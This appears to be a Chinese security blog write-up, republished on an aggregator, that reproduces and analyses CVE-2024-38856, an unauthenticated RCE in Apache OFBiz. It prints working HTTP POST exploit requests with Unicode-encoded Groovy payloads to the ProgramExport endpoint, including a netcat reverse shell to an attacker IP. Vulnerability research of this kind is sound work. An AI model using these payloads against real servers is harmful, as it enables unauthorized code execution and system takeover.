专栏名称: TimelineSec
安全圈必备公众号之一!专注于最新漏洞复现!内含漏洞时间线工具靶场等干货!记录每一个漏洞,捕捉安全的每一瞬间!
目录
相关文章推荐
武汉本地宝  ·  湖北春节返程省内易拥堵路段汇总! ·  5 天前  
武汉本地宝  ·  2025武汉元宵节灯会活动来了!每个都想去! ·  3 天前  
武汉本地宝  ·  2月4日上高速,2月5日下高速免费吗? ·  4 天前  
武汉本地宝  ·  春节假期结束!武汉本周上班时间有变! ·  3 天前  
51好读  ›  专栏  ›  TimelineSec

CVE-2024-38856:Apache OFBiz远程代码执行漏洞

TimelineSec  · 公众号  ·  · 2024-08-22 18:28

正文

关注我们❤️,添加星标🌟,一起学安全!
作者:hexixi@Timeline Sec
本文字数:3813
阅读时长:2~4mins
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负

0x01 简介

Apache OFBiz 是一个开源 ERP 系统,可帮助企业自动化和集成会计、人力资源、客户关系管理、订单管理、制造和电子商务等各种流程。 使用Java语言开发,基于Java企业版(Java EE)的技术栈,包括Java Servlet、JavaServer Pages(JSP)、Java数据库连接(JDBC)等。

0x02 漏洞概述

漏洞编号:CVE-2024-38856

ControlServlet和RequestHandler函数,在处理请求中存在授权错误,导致未经身份验证的远程攻击者通过构造特殊URL来覆盖最终的渲染视图,从而执行任意代码。

0x03 影响版本

Apache OFBiz  <=  18.12.14

0x04 环境搭建

https://github.com/apache/ofbiz-framework/releases/tag/release18.12.14

在官网中下载ofbiz,idea打开,构建

在ofbiz-framework-release18.12.14\framework\security\config\security.properties里添加私有IP地址(方便攻击)

运行

访问https://192.168.56.1:8443/webtools/control/main/

0x05 漏洞复现

POST /webtools/control/main/ProgramExport HTTP/1.1
Host: 192.168.56.1:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 272

groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0063\u0061\u006c\u0063\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b

POST发送的数据编码前 为:

groovyProgram=throw new Exception('calc'.execute().text);

反弹shell操作
攻击机打开nc端口

payload:

throw new Exception('nc 192.168.244.133 4444 -e cmd.exe'.execute().text);

将payload进行unicode编码

POST /webtools/control/main/ProgramExport HTTP/1.1
Host: 192.168.56.1:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 458

groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u006e\u0063\u0020\u0031\u0039\u0032\u002e\u0031\u0036\u0038\u002e\u0032\u0034\u0034\u002e\u0031\u0033\u0033\u0020\u0034\u0034\u0034\u0034\u0020\u002d\u0065\u0020\u0063\u006d\u0064\u002e\u0065\u0078\u0065\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b\u0020

成功反弹到shell

0x06 漏洞分析

org.apache.ofbiz.webapp.control.ControlServlet类会处理所有以/control/开头的URL请求。在其类中doPost和doGet方法对环境进行相应的初始化,并调用RequestHandler的doRequest()方法处理请求。

requestUri获取了路由配置,再往下看请求 "main" 对应的请求映射集合,并作出处理请求的安全认证。overrideViewUri用于实现视图渲染,查看view类型操作。

if ("view".equals(nextRequestResponse.type)) {
  if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a view." + showSessionId(request), module);
                // check for an override view, only used if "success" = eventReturn
       String viewName = (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn == null || "success".equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value;
       renderView(viewName, requestMap.securityExternalView, request, response, saveName);
       } 

viewName的值会有三种情况:

  • 如果 overrideViewUri 不为空,并且 eventReturn 为空或者等于 "success",则 viewName 的值为 overrideViewUri。
  • 如果 overrideViewUri 为空,并且 eventReturn 不为空且不等于 "success",则 viewName 的值为 nextRequestResponse.value。
  • 如果两个条件都不满足,即 overrideViewUri 为空且 eventReturn 为空或者不等于 "success",则 viewName 的值为 nextRequestResponse.value。

为了达到漏洞利用,首先需要需要requestUri所认定的不鉴权且路由为view类型,调用viewName的值为overrideViewUri,也就是达成条件overrideViewUri存在,而且事件返回为success。

查看webapp/webtools/WEB-INF/controller.xml mian符合上述所说情况

其次就是找到如何进行rce的利用了,在widget/EntityScreens.xml中的ProgramExport,尝试解析执行/webtools/groovyScripts/entity/ProgramExport.groovy,并且groovyProgram可控。

因此整个漏洞的思路就是,在requestUri选择一个可以绕过验证的路由,返回类型为success,为此达到renderView实现带有可利用路由的overrideViewUri。

修复方式

将Apache OFBiz更新至最新版本。

参考链接

https://forum.butian.net/article/524
https://www.secrss.com/articles/68838
https://cn-sec.com/archives/3037801.html

历史文章

CVE-2023-51467

CVE-2021-26295







请到「今天看啥」查看全文